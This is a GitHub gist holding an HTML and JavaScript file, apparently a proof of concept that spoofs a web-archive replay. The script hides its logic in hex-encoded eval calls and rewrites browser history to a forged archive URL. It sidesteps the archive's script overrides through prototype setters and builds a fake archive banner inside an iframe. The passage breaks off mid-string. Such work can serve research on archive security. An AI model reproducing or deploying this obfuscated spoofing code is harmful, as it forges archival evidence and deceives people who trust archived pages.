Skip to content

Instantly share code, notes, and snippets.

@N0taN3rd
Created October 23, 2018 00:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save N0taN3rd/236bc953e9cdf2b68ea4cede0ddb7554 to your computer and use it in GitHub Desktop.
Save N0taN3rd/236bc953e9cdf2b68ea4cede0ddb7554 to your computer and use it in GitHub Desktop.
something
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Still Drinking Gin And Juice</title>
<style>
html, body {
height: 100%;
margin: 0;
padding: 0;
border: 0;
overflow: hidden;
}
#funTimes {
width: 100%;
height: 100%;
margin: 0;
padding: 0;
overflow: scroll;
}
.endlessNothing {
display: none;
}
</style>
</head>
<body class="endlessNothing">
<script>
const theSomeWhere =
"\x2f\x77\x65\x62\x2f\x31\x39\x39\x32\x30\x35\x33\x31\x30\x31\x34\x36\x31\x38\x2f\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6a\x2d\x6a\x61\x79\x2d\x72\x65\x71\x75\x65\x73\x74\x73\x2e\x73\x75\x72\x67\x65\x2e\x73\x68\x2f";
function changeHistory() {
if (history.replaceState.toString().indexOf('native code') === -1) {
History.prototype.replaceState.call(history, null, null, `${window.location.origin}${theSomeWhere}`);
} else {
history.replaceState(null, null, `${window.location.origin}${theSomeWhere}`);
}
}
const nukeBanner = document.getElementById("wm-ipp");
// /web/19920531014618/http://dj-jay-requests.surge.sh/
changeHistory();
const _if = eval("\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x5f\x5f\x70\x72\x6f\x74\x6f\x5f\x5f\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x2e\x63\x61\x6c\x6c\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2c\x27\x69\x66\x72\x61\x6d\x65\x27\x29");
let rockAndRoll = false;
let ifWin;
let ifDoc;
_if.id = "funTimes";
_if.frameBorder = "0";
_if.scrolling = "yes";
_if.seamless = "seamless";
eval('\x4f\x62\x6a\x65\x63\x74\x2e\x5f\x5f\x6c\x6f\x6f\x6b\x75\x70\x53\x65\x74\x74\x65\x72\x5f\x5f\x2e\x63\x61\x6c\x6c\x28\x48\x54\x4d\x4c\x49\x46\x72\x61\x6d\x65\x45\x6c\x65\x6d\x65\x6e\x74\x2e\x70\x72\x6f\x74\x6f\x74\x79\x70\x65\x2c\x20\x27\x73\x72\x63\x27\x29\x2e\x63\x61\x6c\x6c\x28\x5f\x69\x66\x2c\x20\x77\x69\x6e\x64\x6f\x77\x2e\x6c\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x6f\x72\x69\x67\x69\x6e\x29\x3b');
let intervalId;
// _if.src = 'http://web.archive.org/web/20180404041224/http://web.archive.org/'
_if.onload = function() {
console.log("iframe loaded");
ifWin = _if.contentWindow;
ifDoc = _if.contentWindow.document;
function doIt() {
ifDoc.body.innerHTML = `<div id="gotcha" style="width: 100vw; height: 100vh;"></div>`;
let reactMount = ifDoc.getElementById("gotcha");
var React = ifWin.React;
var ReactDOM = ifWin.ReactDOM;
var FrogLinks = {
// https://oduwsdl.github.io/assets/images/banner.jpg
wsdlGroup:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6f\x64\x75\x77\x73\x64\x6c\x2e\x67\x69\x74\x68\x75\x62\x2e\x69\x6f\x2f\x61\x73\x73\x65\x74\x73\x2f\x69\x6d\x61\x67\x65\x73\x2f\x62\x61\x6e\x6e\x65\x72\x2e\x6a\x70\x67",
// https://web.archive.org/web/20091025115436im_/http://geocities.com/justbecs/Images/Frogs/frog3.gif
frog1:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x65\x62\x2e\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x77\x65\x62\x2f\x32\x30\x30\x39\x31\x30\x32\x35\x31\x31\x35\x34\x33\x36\x69\x6d\x5f\x2f\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x6f\x63\x69\x74\x69\x65\x73\x2e\x63\x6f\x6d\x2f\x6a\x75\x73\x74\x62\x65\x63\x73\x2f\x49\x6d\x61\x67\x65\x73\x2f\x46\x72\x6f\x67\x73\x2f\x66\x72\x6f\x67\x33\x2e\x67\x69\x66",
// https://web.archive.org/web/20091028094838im_/http://www.geocities.com/ransome/frogs/Frogs67.gif
frog2:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x65\x62\x2e\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x77\x65\x62\x2f\x32\x30\x30\x39\x31\x30\x32\x38\x30\x39\x34\x38\x33\x38\x69\x6d\x5f\x2f\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x67\x65\x6f\x63\x69\x74\x69\x65\x73\x2e\x63\x6f\x6d\x2f\x72\x61\x6e\x73\x6f\x6d\x65\x2f\x66\x72\x6f\x67\x73\x2f\x46\x72\x6f\x67\x73\x36\x37\x2e\x67\x69\x66",
// https://web.archive.org/web/20090803210654im_/http://geocities.com/SoHo/Cafe/1487/frogsqut.gif
frog3:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x65\x62\x2e\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x77\x65\x62\x2f\x32\x30\x30\x39\x30\x38\x30\x33\x32\x31\x30\x36\x35\x34\x69\x6d\x5f\x2f\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x6f\x63\x69\x74\x69\x65\x73\x2e\x63\x6f\x6d\x2f\x53\x6f\x48\x6f\x2f\x43\x61\x66\x65\x2f\x31\x34\x38\x37\x2f\x66\x72\x6f\x67\x73\x71\x75\x74\x2e\x67\x69\x66",
// https://web.archive.org/web/20090902004422im_/http://www.geocities.com/fudgebugladybug/allaboutfrogspic.gif
frog4:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x65\x62\x2e\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x77\x65\x62\x2f\x32\x30\x30\x39\x30\x39\x30\x32\x30\x30\x34\x34\x32\x32\x69\x6d\x5f\x2f\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x67\x65\x6f\x63\x69\x74\x69\x65\x73\x2e\x63\x6f\x6d\x2f\x66\x75\x64\x67\x65\x62\x75\x67\x6c\x61\x64\x79\x62\x75\x67\x2f\x61\x6c\x6c\x61\x62\x6f\x75\x74\x66\x72\x6f\x67\x73\x70\x69\x63\x2e\x67\x69\x66",
// http://www.cprv.org/
colonialPlace:
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x63\x70\x72\x76\x2e\x6f\x72\x67\x2f",
// http://www.danetteallen.com/
drDanetteAllen:
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x64\x61\x6e\x65\x74\x74\x65\x61\x6c\x6c\x65\x6e\x2e\x63\x6f\x6d\x2f",
// http://www.cs.odu.edu/~mln/galaxie/
car1:
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x63\x73\x2e\x6f\x64\x75\x2e\x65\x64\x75\x2f\x7e\x6d\x6c\x6e\x2f\x67\x61\x6c\x61\x78\x69\x65\x2f",
// http://www.cs.odu.edu/~mln/fairlane/
car2:
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x63\x73\x2e\x6f\x64\x75\x2e\x65\x64\x75\x2f\x7e\x6d\x6c\x6e\x2f\x66\x61\x69\x72\x6c\x61\x6e\x65\x2f",
// http://www.cs.odu.edu/~mln/1966-galaxie-500xl-4speed/
car3:
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x63\x73\x2e\x6f\x64\x75\x2e\x65\x64\x75\x2f\x7e\x6d\x6c\x6e\x2f\x31\x39\x36\x36\x2d\x67\x61\x6c\x61\x78\x69\x65\x2d\x35\x30\x30\x78\x6c\x2d\x34\x73\x70\x65\x65\x64\x2f",
// http://www.cs.odu.edu/~mln/1966-galaxie-pro-street/
car4:
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x63\x73\x2e\x6f\x64\x75\x2e\x65\x64\x75\x2f\x7e\x6d\x6c\x6e\x2f\x31\x39\x36\x36\x2d\x67\x61\x6c\x61\x78\x69\x65\x2d\x70\x72\x6f\x2d\x73\x74\x72\x65\x65\x74\x2f",
// http://www.cs.odu.edu/~mln/montego/montego-2008-08-09/
car5:
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x63\x73\x2e\x6f\x64\x75\x2e\x65\x64\x75\x2f\x7e\x6d\x6c\x6e\x2f\x6d\x6f\x6e\x74\x65\x67\x6f\x2f\x6d\x6f\x6e\x74\x65\x67\x6f\x2d\x32\x30\x30\x38\x2d\x30\x38\x2d\x30\x39\x2f",
// http://www.techsideline.com/
vt:
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x74\x65\x63\x68\x73\x69\x64\x65\x6c\x69\x6e\x65\x2e\x63\x6f\x6d\x2f",
// http://f-measure.blogspot.com
fmeasure:
"\x68\x74\x74\x70\x3a\x2f\x2f\x66\x2d\x6d\x65\x61\x73\x75\x72\x65\x2e\x62\x6c\x6f\x67\x73\x70\x6f\x74\x2e\x63\x6f\x6d",
// http://www.larc.nasa.gov/
nasa:
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x6c\x61\x72\x63\x2e\x6e\x61\x73\x61\x2e\x67\x6f\x76\x2f\n",
// http://sils.unc.edu/
sils:
"\x68\x74\x74\x70\x3a\x2f\x2f\x73\x69\x6c\x73\x2e\x75\x6e\x63\x2e\x65\x64\x75\x2f",
// http://www.openarchives.org/pmh/
pmh:
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x6f\x70\x65\x6e\x61\x72\x63\x68\x69\x76\x65\x73\x2e\x6f\x72\x67\x2f\x70\x6d\x68\x2f",
// http://www.openarchives.org/ore/
ore:
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x6f\x70\x65\x6e\x61\x72\x63\x68\x69\x76\x65\x73\x2e\x6f\x72\x67\x2f\x6f\x72\x65\x2f",
// http://www.mementoweb.org/guide/rfc/ID/
memento:
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x6d\x65\x6d\x65\x6e\x74\x6f\x77\x65\x62\x2e\x6f\x72\x67\x2f\x67\x75\x69\x64\x65\x2f\x72\x66\x63\x2f\x49\x44\x2f",
// http://www.openarchives.org/rs/toc
rs:
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x6f\x70\x65\x6e\x61\x72\x63\x68\x69\x76\x65\x73\x2e\x6f\x72\x67\x2f\x72\x73\x2f\x74\x6f\x63",
// http://ntrs.nasa.gov/
nasaTech:
"\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x74\x72\x73\x2e\x6e\x61\x73\x61\x2e\x67\x6f\x76\x2f",
// http://www.nsf.gov/awardsearch/showAward.do?AwardNumber=0643784
nfcAward:
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x6e\x73\x66\x2e\x67\x6f\x76\x2f\x61\x77\x61\x72\x64\x73\x65\x61\x72\x63\x68\x2f\x73\x68\x6f\x77\x41\x77\x61\x72\x64\x2e\x64\x6f\x3f\x41\x77\x61\x72\x64\x4e\x75\x6d\x62\x65\x72\x3d\x30\x36\x34\x33\x37\x38\x34"
};
var StyleLinks = {
// 'url(https://archive.org/services/img/webwidecrawl)'
wideCrawlStyle:
"\x75\x72\x6c\x28\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x73\x65\x72\x76\x69\x63\x65\x73\x2f\x69\x6d\x67\x2f\x77\x65\x62\x77\x69\x64\x65\x63\x72\x61\x77\x6c\x29",
// url(https://archive.org/services/img/liveweb)
liveWeb:
"\x75\x72\x6c\x28\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x73\x65\x72\x76\x69\x63\x65\x73\x2f\x69\x6d\x67\x2f\x6c\x69\x76\x65\x77\x65\x62\x29"
};
var BannerLinks = {
// https://archive.org/details/webwidecrawl
wideCrawl:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x77\x69\x74\x74\x65\x72\x2e\x63\x6f\x6d\x2f\x6a\x6f\x68\x6e\x61\x62\x65\x72\x6c\x69\x6e",
// https://archive.org/details/liveweb
liveWeb:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x64\x65\x74\x61\x69\x6c\x73\x2f\x6c\x69\x76\x65\x77\x65\x62",
// http://web.archive.org/web/
archiveOrg:
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x65\x62\x2e\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x77\x65\x62\x2f",
// http://web.archive.org/static/images/toolbar/wayback-toolbar-logo.png
tbLogo:
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x65\x62\x2e\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x73\x74\x61\x74\x69\x63\x2f\x69\x6d\x61\x67\x65\x73\x2f\x74\x6f\x6f\x6c\x62\x61\x72\x2f\x77\x61\x79\x62\x61\x63\x6b\x2d\x74\x6f\x6f\x6c\x62\x61\x72\x2d\x6c\x6f\x67\x6f\x2e\x70\x6e\x67",
// https://archive.org/account/login.php
login:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x61\x63\x63\x6f\x75\x6e\x74\x2f\x6c\x6f\x67\x69\x6e\x2e\x70\x68\x70",
// http://ws-dl.blogspot.com/
wsdlBlog:
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x73\x2d\x64\x6c\x2e\x62\x6c\x6f\x67\x73\x70\x6f\x74\x2e\x63\x6f\x6d\x2f",
// http://www.cs.odu.edu/~mln/
mlnCS:
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x63\x73\x2e\x6f\x64\x75\x2e\x65\x64\x75\x2f\x7e\x6d\x6c\x6e\x2f",
// https://www.facebook.com/sharer/sharer.php?u=http://www.cs.odu.edu/~mln/
shareFB:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x73\x68\x61\x72\x65\x72\x2f\x73\x68\x61\x72\x65\x72\x2e\x70\x68\x70\x3f\x75\x3d\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x63\x73\x2e\x6f\x64\x75\x2e\x65\x64\x75\x2f\x7e\x6d\x6c\x6e\x2f",
// https://twitter.com/intent/tweet?text=Michael%20Nelson%20Rules!%20http://www.cs.odu.edu/~mln/&via=internetarchive
shareTwitter:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x77\x69\x74\x74\x65\x72\x2e\x63\x6f\x6d\x2f\x69\x6e\x74\x65\x6e\x74\x2f\x74\x77\x65\x65\x74\x3f\x74\x65\x78\x74\x3d\x4d\x69\x63\x68\x61\x65\x6c\x25\x32\x30\x4e\x65\x6c\x73\x6f\x6e\x25\x32\x30\x52\x75\x6c\x65\x73\x21\x25\x32\x30\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x63\x73\x2e\x6f\x64\x75\x2e\x65\x64\x75\x2f\x7e\x6d\x6c\x6e\x2f\x26\x76\x69\x61\x3d\x69\x6e\x74\x65\x72\x6e\x65\x74\x61\x72\x63\x68\x69\x76\x65",
// https://pbs.twimg.com/card_img/973011068678299649/UQn-Jsyj?format=png&name=144x144_2
wsdlLogo:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x62\x73\x2e\x74\x77\x69\x6d\x67\x2e\x63\x6f\x6d\x2f\x63\x61\x72\x64\x5f\x69\x6d\x67\x2f\x39\x37\x33\x30\x31\x31\x30\x36\x38\x36\x37\x38\x32\x39\x39\x36\x34\x39\x2f\x55\x51\x6e\x2d\x4a\x73\x79\x6a\x3f\x66\x6f\x72\x6d\x61\x74\x3d\x70\x6e\x67\x26\x6e\x61\x6d\x65\x3d\x31\x34\x34\x78\x31\x34\x34\x5f\x32"
};
var Stuff = {
// https://feed.mikle.com/js/fw-loader.js
feed:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x66\x65\x65\x64\x2e\x6d\x69\x6b\x6c\x65\x2e\x63\x6f\x6d\x2f\x6a\x73\x2f\x66\x77\x2d\x6c\x6f\x61\x64\x65\x72\x2e\x6a\x73",
// https://twitter.com/phonedude_mln
mlnTwitter:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x77\x69\x74\x74\x65\x72\x2e\x63\x6f\x6d\x2f\x70\x68\x6f\x6e\x65\x64\x75\x64\x65\x5f\x6d\x6c\x6e",
// https://feed.mikle.com/widget/v2/46955/
wsdlBlogFeed:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x66\x65\x65\x64\x2e\x6d\x69\x6b\x6c\x65\x2e\x63\x6f\x6d\x2f\x77\x69\x64\x67\x65\x74\x2f\x76\x32\x2f\x34\x36\x39\x35\x35\x2f",
dangerScript:
"\x21\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x64\x2c\x73\x2c\x69\x64\x29\x7b\x76\x61\x72\x20\x6a\x73\x2c\x66\x6a\x73\x3d\x64\x2e\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x73\x42\x79\x54\x61\x67\x4e\x61\x6d\x65\x28\x73\x29\x5b\x30\x5d\x2c\x70\x3d\x2f\x5e\x68\x74\x74\x70\x3a\x2f\x2e\x74\x65\x73\x74\x28\x64\x2e\x6c\x6f\x63\x61\x74\x69\x6f\x6e\x29\x3f\x27\x68\x74\x74\x70\x27\x3a\x27\x68\x74\x74\x70\x73\x27\x3b\x69\x66\x28\x21\x64\x2e\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64\x28\x69\x64\x29\x29\x7b\x6a\x73\x3d\x64\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x73\x29\x3b\x6a\x73\x2e\x69\x64\x3d\x69\x64\x3b\x6a\x73\x2e\x73\x72\x63\x3d\x70\x2b\x22\x3a\x2f\x2f\x70\x6c\x61\x74\x66\x6f\x72\x6d\x2e\x74\x77\x69\x74\x74\x65\x72\x2e\x63\x6f\x6d\x2f\x77\x69\x64\x67\x65\x74\x73\x2e\x6a\x73\x22\x3b\x66\x6a\x73\x2e\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65\x2e\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65\x28\x6a\x73\x2c\x66\x6a\x73\x29\x3b\x7d\x7d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2c\x22\x73\x63\x72\x69\x70\x74\x22\x2c\x22\x74\x77\x69\x74\x74\x65\x72\x2d\x77\x6a\x73\x22\x29\x3b"
};
ifWin.Emitter = class Emitter {
constructor(doShow) {
this.listener = null;
this.doShow = doShow;
}
listenForClick(listener) {
this.listener = listener;
}
clicked() {
this.listener();
this.doShow();
}
};
ifWin.YMEmitter = class YMEmitter {
constructor() {
this.displayListener = null;
this.regColorListener = null;
this.listenColor = this.listenColor.bind(this);
this.listenDisplay = this.listenDisplay.bind(this);
this.display = this.display.bind(this);
this.regColor = this.regColor.bind(this);
this.clear = this.clear.bind(this);
}
listenDisplay(listener) {
this.displayListener = listener;
}
listenColor(listener) {
this.regColorListener = listener;
}
display(year, month) {
this.displayListener(year, month);
}
regColor() {
this.regColorListener();
}
clear() {
this.displayListener = null;
this.regColorListener = null;
}
};
ifWin.BannerStyle = class BannerStyle extends React.Component {
render() {
return React.createElement("style", {
dangerouslySetInnerHTML: {
__html:
"\x40\x66\x6f\x6e\x74\x2d\x66\x61\x63\x65\x7b\x66\x6f\x6e\x74\x2d\x66\x61\x6d\x69\x6c\x79\x3a\x49\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x52\x65\x67\x75\x6c\x61\x72\x3b\x73\x72\x63\x3a\x75\x72\x6c\x28\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x66\x6f\x6e\x74\x73\x2f\x49\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x52\x65\x67\x75\x6c\x61\x72\x2e\x65\x6f\x74\x3f\x2d\x63\x63\x73\x68\x65\x62\x29\x3b\x73\x72\x63\x3a\x75\x72\x6c\x28\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x66\x6f\x6e\x74\x73\x2f\x49\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x52\x65\x67\x75\x6c\x61\x72\x2e\x65\x6f\x74\x3f\x23\x69\x65\x66\x69\x78\x2d\x63\x63\x73\x68\x65\x62\x29\x20\x66\x6f\x72\x6d\x61\x74\x28\x22\x65\x6d\x62\x65\x64\x64\x65\x64\x2d\x6f\x70\x65\x6e\x74\x79\x70\x65\x22\x29\x2c\x75\x72\x6c\x28\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x66\x6f\x6e\x74\x73\x2f\x49\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x52\x65\x67\x75\x6c\x61\x72\x2e\x77\x6f\x66\x66\x3f\x2d\x63\x63\x73\x68\x65\x62\x29\x20\x66\x6f\x72\x6d\x61\x74\x28\x22\x77\x6f\x66\x66\x22\x29\x2c\x75\x72\x6c\x28\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x66\x6f\x6e\x74\x73\x2f\x49\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x52\x65\x67\x75\x6c\x61\x72\x2e\x74\x74\x66\x3f\x2d\x63\x63\x73\x68\x65\x62\x29\x20\x66\x6f\x72\x6d\x61\x74\x28\x22\x74\x72\x75\x65\x74\x79\x70\x65\x22\x29\x2c\x75\x72\x6c\x28\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x66\x6f\x6e\x74\x73\x2f\x49\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x52\x65\x67\x75\x6c\x61\x72\x2e\x73\x76\x67\x3f\x2d\x63\x63\x73\x68\x65\x62\x23\x49\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x52\x65\x67\x75\x6c\x61\x72\x29\x20\x66\x6f\x72\x6d\x61\x74\x28\x22\x73\x76\x67\x22\x29\x3b\x66\x6f\x6e\x74\x2d\x77\x65\x69\x67\x68\x74\x3a\x34\x30\x30\x3b\x66\x6f\x6e\x74\x2d\x73\x74\x79\x6c\x65\x3a\x6e\x6f\x72\x6d\x61\x6c\x7d\x5b\x63\x6c\x61\x73\x73\x2a\x3d\x22\x20\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x22\x5d\x2c\x5b\x63\x6c\x61\x73\x73\x5e\x3d\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x5d\x7b\x66\x6f\x6e\x74\x2d\x66\x61\x6d\x69\x6c\x79\x3a\x49\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x52\x65\x67\x75\x6c\x61\x72\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x73\x70\x65\x61\x6b\x3a\x6e\x6f\x6e\x65\x3b\x66\x6f\x6e\x74\x2d\x73\x74\x79\x6c\x65\x3a\x6e\x6f\x72\x6d\x61\x6c\x3b\x66\x6f\x6e\x74\x2d\x77\x65\x69\x67\x68\x74\x3a\x34\x30\x30\x3b\x66\x6f\x6e\x74\x2d\x76\x61\x72\x69\x61\x6e\x74\x3a\x6e\x6f\x72\x6d\x61\x6c\x3b\x74\x65\x78\x74\x2d\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3a\x6e\x6f\x6e\x65\x3b\x6c\x69\x6e\x65\x2d\x68\x65\x69\x67\x68\x74\x3a\x31\x3b\x2d\x77\x65\x62\x6b\x69\x74\x2d\x66\x6f\x6e\x74\x2d\x73\x6d\x6f\x6f\x74\x68\x69\x6e\x67\x3a\x61\x6e\x74\x69\x61\x6c\x69\x61\x73\x65\x64\x3b\x2d\x6d\x6f\x7a\x2d\x6f\x73\x78\x2d\x66\x6f\x6e\x74\x2d\x73\x6d\x6f\x6f\x74\x68\x69\x6e\x67\x3a\x67\x72\x61\x79\x73\x63\x61\x6c\x65\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x55\x70\x6c\x65\x76\x65\x6c\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x31\x62\x35\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x65\x78\x69\x74\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x36\x61\x33\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x62\x65\x74\x61\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x33\x62\x32\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x6c\x6f\x67\x6f\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x33\x64\x62\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x61\x75\x64\x69\x6f\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x36\x38\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x6d\x6f\x76\x69\x65\x73\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x33\x39\x65\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x73\x6f\x66\x74\x77\x61\x72\x65\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x34\x62\x65\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x74\x65\x78\x74\x73\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x36\x65\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x65\x74\x72\x65\x65\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x33\x61\x34\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x69\x6d\x61\x67\x65\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x62\x63\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x77\x65\x62\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x64\x34\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x32\x32\x31\x31\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x66\x6f\x6c\x64\x65\x72\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x34\x63\x32\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x64\x61\x74\x61\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x35\x63\x33\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x74\x76\x3a\x62\x65\x66\x6f\x72\x65\x7b\x63\x6f\x6e\x74\x65\x6e\x74\x3a\x22\x5c\x31\x66\x34\x66\x61\x22\x7d\x2e\x69\x63\x6f\x6e\x6f\x63\x68\x69\x76\x65\x2d\x61\x72\x74\x69\x63\